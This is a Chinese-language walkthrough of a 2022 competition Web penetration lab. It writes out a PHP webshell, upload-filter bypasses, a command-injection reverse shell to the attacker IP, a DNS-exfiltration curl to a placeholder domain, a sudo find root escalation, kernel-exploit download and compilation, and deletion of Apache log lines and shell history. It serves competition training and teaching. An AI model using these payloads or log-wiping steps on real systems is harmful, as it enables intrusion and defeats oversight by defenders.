从信息收集到Root提权:2022国赛Web渗透实战全解析

📅 发布时间:2026/8/28 14:31:26
从信息收集到Root提权:2022国赛Web渗透实战全解析
1. 项目概述与核心价值最近在整理过去的竞赛资料翻到了2022年中职网络空间安全国赛的赛题特别是其中的试题8感觉这道题的设计非常经典涵盖了从信息收集、漏洞利用到权限提升和痕迹清理的完整攻击链对于理解实战中的渗透测试流程有很高的教学价值。很多刚入门安全领域的朋友或者正在备赛的同学们常常觉得国赛题目高深莫测无从下手。其实只要把思路理清把每个环节的技术点拆解到位你会发现它更像是一个精心设计的“闯关游戏”每一步都有迹可循。这道题的核心是模拟对一个存在安全缺陷的Web应用服务器进行渗透测试最终目标是获取服务器的最高控制权Root权限。它不仅仅考察某个单一漏洞的利用更侧重于考察选手在模拟实战环境下的综合能力如何从零开始通过有限的信息通常只有一个IP地址或域名一步步挖掘系统弱点构建攻击路径并最终达成目标。这对于培养系统化的安全思维和问题解决能力至关重要。无论你是正在备赛的中职学生还是对网络安全实战感兴趣的自学者通过深入解析这道赛题你都能获得以下收获第一掌握一次完整渗透测试的标准流程和关键节点第二理解常见Web漏洞如文件上传、命令注入在真实场景中的结合利用方式第三学习Linux系统下的权限提升提权技巧和思路第四了解攻击完成后如何进行基本的痕迹清理。接下来我就以“事后复盘”和“经验分享”的角度带大家一步步拆解这道试题我会尽量还原当时的解题思路并补充一些实战中才会遇到的细节和坑点。2. 解题环境与初始信息分析在开始任何渗透测试之前搭建一个与目标环境尽可能一致的测试环境是第一步也是避免“误操作”和“思路卡壳”的关键。对于这类竞赛题目标通常是一个虚拟机镜像。2.1 靶机环境还原与网络配置拿到赛题后我们首先需要将提供的靶机镜像通常是.ova或.vmx格式导入到VMware或VirtualBox中。这里有一个非常重要的细节务必确保攻击机和靶机处于同一网络段并且能够互相通信。最稳妥的方式是使用虚拟网络的“仅主机模式”Host-Only或“NAT模式”下的特定配置。注意很多新手会忽略网络配置导致后续扫描和攻击全部失败。在VMware中你需要将攻击机如Kali Linux和靶机的网络适配器都设置为同一个“仅主机模式”的虚拟网络例如VMnet1。然后手动为靶机配置一个静态IP或者通过查看靶机启动后的控制台信息获取其IP地址。在VirtualBox中则需要创建一个“仅主机网络”并分配给两台虚拟机。假设我们通过控制台或ARP扫描发现靶机的IP是192.168.1.105我们的攻击机KaliIP是192.168.1.100。首先用ping命令测试连通性ping 192.168.1.105。确保能收到回复后我们的渗透测试才算真正开始。2.2 信息收集侦察与踩点信息收集是渗透测试的“眼睛”盲目攻击效率极低。我们的目标是192.168.1.105但我们对它一无所知。第一步进行端口扫描看看它开放了哪些服务。这里我习惯使用nmap进行综合扫描。一个比较全面的命令是nmap -sS -sV -sC -O -p- 192.168.1.105-sS: SYN半开放扫描速度快且相对隐蔽。-sV: 探测服务版本。-sC: 使用默认脚本进行更深入的探测。-O: 尝试识别操作系统。-p-: 扫描所有65535个端口。扫描结果可能会显示类似以下信息PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 (protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) 3306/tcp open mysql MySQL 5.7.33从结果中我们获得了三个关键信息22端口SSH可能存在弱口令爆破或版本漏洞但通常不是第一突破口。80端口HTTP运行着Apache Web服务器这是最可能的前端入口也是我们重点攻击的方向。3306端口MySQL数据库服务可能通过Web漏洞如SQL注入间接利用。接下来针对80端口的Web服务进行目录扫描寻找隐藏的页面或敏感文件。可以使用gobuster或dirb。gobuster dir -u http://192.168.1.105 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt扫描结果可能会发现诸如/admin、/upload、/backup、/robots.txt等目录或文件。同时我们也要用浏览器直接访问http://192.168.1.105手动浏览网站观察功能点比如是否有登录框、搜索框、文件上传点、留言板等。这些地方都是潜在的漏洞高发区。3. 漏洞发现与利用突破Web防线在2022年的这道赛题中突破口往往设计在Web应用层。根据经验中职国赛题目常结合文件上传漏洞和命令注入漏洞。3.1 文件上传漏洞的利用假设我们在信息收集阶段发现了一个文件上传功能例如在/upload页面。一个存在缺陷的上传功能可能只在前端用JavaScript校验了文件后缀或者在后端没有充分校验文件内容和类型。常规绕过手法修改后缀名如果后端黑名单禁止了.php可以尝试.phtml、.php5、.phps、.php7等。如果服务器配置了将这些后缀也解析为PHP就能成功。双写后缀如shell.php.jpg有些过滤逻辑可能会删除.php字符串结果变成shell.jpg但我们可以构造shell.p.phphp删除中间的php后剩下的就是.php。修改Content-Type抓包修改HTTP请求中的Content-Type为image/jpeg或image/png。利用解析特性上传名为shell.jpg的文件但利用服务器解析漏洞如shell.jpg/.phpApache在某些配置下会将其解析为PHP或shell.jpg%00.php空字节截断在特定PHP版本有效。实战操作我们使用Burp Suite拦截上传请求。假设正常上传一个图片test.jpg可以成功。我们尝试上传一个简单的PHP Webshell内容为?php system($_GET[‘cmd’]);?将其保存为shell.php直接上传返回“文件类型不允许”。我们进行第一次绕过将文件名改为shell.php.jpg并抓包。在Burp的Proxy模块将请求中的文件名shell.php.jpg修改为shell.php%00.jpg如果目标PHP版本支持空字节截断或者修改Content-Type为image/jpeg。如果服务器仅校验Content-Type那么这次可能就成功了。如果还不成功尝试第二种方法制作一个图片马。先用exiftool将一个Webshell插入到图片的EXIF信息中或者使用copy命令Windows或cat命令Linux将图片和PHP文件合并cat image.jpg shell.php shell.jpg然后上传shell.jpg。上传成功后我们需要找到文件的访问路径。通常上传功能会返回文件的存储路径或者我们可以通过目录扫描发现/uploads、/images这样的目录。假设我们上传后的文件访问地址是http://192.168.1.105/uploads/shell.jpg。此时直接访问这个地址图片可能会正常显示代码并未执行。这是因为服务器默认将.jpg文件当作静态图片处理。我们需要利用文件包含漏洞或解析漏洞来触发其中的PHP代码。如果题目中同时存在文件包含功能比如有一个?pageabout.php这样的参数我们可以尝试?pageuploads/shell.jpg这样服务器包含该文件时就会解析其中的PHP代码。3.2 命令注入漏洞的利用另一种常见情况是网站存在一个执行系统命令的功能点例如“网络诊断”Ping、“系统信息查询”等。这类功能如果未对用户输入进行过滤就会导致命令注入。假设我们发现一个页面/ping.php有一个输入框让我们输入IP地址进行Ping测试。输入127.0.0.1并提交页面返回了Ping的结果。这背后可能是服务器执行了ping -c 4 [用户输入]这样的命令。测试是否存在注入我们输入127.0.0.1; whoami。分号;在Linux中用于分隔多条命令。如果页面返回了当前Web服务的运行用户如www-data那么就证明存在命令注入漏洞。利用方式获取反向Shell为了获得一个交互式的命令行我们需要让目标服务器连接回我们的攻击机。首先在攻击机上监听一个端口nc -lvnp 4444然后在Web的命令注入点输入127.0.0.1; bash -c ‘bash -i /dev/tcp/192.168.1.100/4444 01’如果成功我们攻击机的nc监听端就会收到一个来自靶机的Shell连接。使用编码或替代命令如果某些字符如空格、斜杠被过滤我们需要进行绕过。例如用${IFS}代替空格用base64编码命令。原命令ls -la /tmp绕过127.0.0.1;ls${IFS}-la${IFS}/tmp或者使用Base64echo “bHMgLWxhIC90bXA” | base64 -d | bash实操心得在实际比赛或测试中命令注入的利用可能会受到字符过滤、无回显盲注等因素限制。对于盲注可以通过时间延迟sleep 5或DNS外带curl http://your-domain.com/$(whoami)来判断注入是否成功并获取数据。在本题中通常设计为有回显的注入方便选手进行。4. 权限提升从Web Shell到Root通过文件上传包含或命令注入我们获得了一个初始立足点通常是一个低权限的Shell用户可能是www-data或apache。我们的目标是root。4.1 系统信息枚举拿到Shell后第一件事是收集系统信息寻找提权线索。我习惯使用一个自动化脚本linpeas但比赛中可能无法直接下载所以需要掌握手动枚举的命令。关键枚举命令# 查看当前用户和权限 id whoami sudo -l # 非常重要查看当前用户可以以root身份执行哪些命令 # 查看系统版本和内核信息 uname -a cat /etc/os-release hostnamectl # 查看进程寻找以root运行的有趣进程 ps aux | grep root # 查看计划任务看是否有自定义任务以root权限执行 crontab -l ls -la /etc/cron* /var/spool/cron/ # 查看SUID/SGID文件这些文件执行时会以文件所有者的权限运行 find / -perm -us -type f 2/dev/null find / -perm -gs -type f 2/dev/null # 查看可写的敏感文件或目录 find / -writable -type d 2/dev/null | grep -v “/proc\|/sys” find / -perm -ow -type f 2/dev/null | grep -v “/proc\|/sys” # 查看网络连接和监听端口 netstat -antup ss -tulnp4.2 利用SUID提权sudo -l命令的输出是提权的“黄金信息”。假设我们发现如下输出User www-data may run the following commands on target: (ALL) NOPASSWD: /usr/bin/find这意味着www-data用户可以无需密码以root权限执行/usr/bin/find命令。这是一个经典的提权向量。利用find命令提权find命令有一个-exec参数可以执行任意命令。我们可以利用它来启动一个root权限的Shell。sudo find / -exec /bin/bash -p \;或者更稳妥地先给/bin/bash设置SUID位如果允许的话但直接执行Shell更简单。执行上述命令后我们就会获得一个root权限的bash shell通过whoami和id命令可以确认。4.3 利用内核漏洞提权如果sudo -l没有收获我们就要看内核版本。使用uname -a查看内核版本例如Linux target 5.4.0-96-generic。然后我们去搜索该版本是否存在公开的本地提权LPE漏洞。在攻击机上我们可以使用searchsploit来搜索searchsploit linux kernel 5.4.0-96 privilege假设我们找到了一个名为Linux Kernel 5.4.0-96 - Local Privilege Escalation的漏洞。我们需要将这个漏洞的利用代码通常是一个.c文件上传到靶机。上传和编译利用代码在攻击机上开启一个简单的HTTP服务python3 -m http.server 8080在靶机的Shell里使用wget或curl下载利用代码wget http://192.168.1.100:8080/exploit.c在靶机上编译它需要gccgcc exploit.c -o exploit给执行权限并运行chmod x exploit ./exploit如果漏洞利用成功运行whoami就会显示root。注意事项内核漏洞提权有一定风险可能导致系统崩溃蓝屏/死机。在比赛中靶机通常可以重置问题不大。但在真实环境中对生产系统使用未经测试的漏洞利用程序是极其危险和不负责任的行为。此外编译环境gcc和必要的内核头文件linux-headers可能不存在需要提前确认或寻找静态编译好的二进制利用程序。5. 后渗透与痕迹清理获得root权限后比赛通常要求获取/flag或/root/flag.txt文件中的内容作为最终证明。找到并读取flag后我们的主要目标就完成了。从负责任的角度和比赛完整性考虑我们还需要了解如何清理痕迹尽管比赛中不一定要求。这主要是为了在真实渗透测试的“蓝队”模拟中了解攻击者的行为。主要清理目标Shell历史记录清除当前用户的命令历史。# 清除当前session的历史 history -c # 清除历史记录文件 rm ~/.bash_history # 或者清空文件 echo ~/.bash_historyWeb访问日志Apache的访问日志和错误日志可能记录了我们的攻击请求。Apache日志通常位于/var/log/apache2/access.log和/var/log/apache2/error.log。我们需要找到包含我们攻击IP192.168.1.100或攻击特征如上传文件名、注入命令的日志行并将其删除。可以使用sed或vi进行编辑。# 例如删除所有包含我们IP的行谨慎操作会破坏日志完整性 sed -i ‘/192.168.1.100/d’ /var/log/apache2/access.log文件清理删除我们上传的Webshell文件。rm /var/www/html/uploads/shell.jpg后门检查检查是否创建了其他后门账户、SSH密钥或定时任务。# 检查/etc/passwd中新增的用户 # 检查/root/.ssh/authorized_keys # 检查crontab crontab -u root -l实操心得完全的痕迹清理几乎是不可能的专业的防守方会通过日志服务器、流量镜像、HIDS主机入侵检测系统等手段发现异常。清理行为本身如大量日志被修改也可能成为告警信号。因此在渗透测试中更强调“隐蔽”和“最小化影响”而非事后的“擦除”。6. 试题8的串联与整体复盘现在让我们把上述所有步骤串联起来还原试题8的完整攻击链信息收集对靶机192.168.1.105进行全端口扫描发现80端口开放。目录扫描发现/upload和/ping路径。漏洞发现访问/upload发现一个文件上传点。尝试上传Webshell发现后端对后缀名有过滤。通过Burp Suite抓包修改文件名或Content-Type成功上传一个包含PHP代码的图片马shell.jpg。访问/ping发现一个命令注入点。输入127.0.0.1; ls成功执行了ls命令证实漏洞存在。漏洞利用与初始访问方案A利用文件上传包含发现网站存在本地文件包含LFI漏洞参数为?fileindex.php。通过访问?fileuploads/shell.jpg成功触发图片马中的PHP代码获取Web Shell。方案B利用命令注入直接在/ping页面的输入框注入反向Shell命令127.0.0.1; bash -c ‘bash -i /dev/tcp/192.168.1.100/4444 01’同时在攻击机用nc监听4444端口获得一个反向Shell。两种方式均能获得一个www-data用户的低权限Shell。权限提升在低权限Shell中执行sudo -l发现www-data用户可以无密码以root身份运行/usr/bin/find。执行提权命令sudo find / -exec /bin/bash -p \;成功获得root权限的Shell。获取Flag进入/root目录读取flag.txt或proof.txt文件得到最终的Flag字符串。可选痕迹清理根据比赛要求或练习需要清理操作历史、日志文件和上传的Webshell。这道题的经典之处在于它清晰地划分了渗透测试的各个阶段并且每个阶段都设置了典型的、可解决的障碍。文件上传绕过考验的是对HTTP协议和服务器校验逻辑的理解命令注入考验的是对系统命令拼接的熟悉程度而最后的SUID提权则是考察对Linux系统权限模型的深入认识。7. 备赛建议与能力提升通过对这道赛题的深度解析我们可以总结出备赛中需要重点锻炼的几个核心能力工具熟练度nmap,gobuster/dirb,Burp Suite,netcat是基础。不仅要会用还要理解常用参数背后的含义比如nmap不同扫描类型的区别。漏洞原理理解不要死记硬背Payload。要明白为什么修改Content-Type能绕过为什么;能注入命令sudo find提权的原理是什么理解原理才能灵活变通。信息收集与整理能力渗透测试是信息拼图。扫描结果、网页源码、错误信息、甚至文件中的注释都可能是关键线索。养成随时记录可以用笔记软件或命令行下的script命令和关联信息的习惯。Linux系统知识这是基础中的基础。文件权限SUID/SGID、进程管理、用户管理、计划任务、日志系统、网络配置等命令必须非常熟悉。很多提权方法都源于对系统配置的深入理解。脚本编写能力对于复杂的操作或重复的测试编写简单的Bash或Python脚本能极大提高效率。例如自动化的目录爆破、Payload生成等。心态与流程保持冷静遵循流程。从外到内从信息收集到漏洞利用再到横向移动和权限提升建立自己的方法论。遇到阻碍时回头检查前面的步骤是否有遗漏的信息。最后多打靶场是提升实战能力的最佳途径。从VulnHub、HackTheBox、TryHackMe等平台上的基础靶机开始逐步挑战更复杂的机器。每打完一个都要像这样写一份详细的复盘报告梳理思路总结经验这样才能把知识真正内化。这道2022年的国赛题就是一个非常好的综合练习案例它所涵盖的知识点和思维模式在今天依然具有很高的学习价值。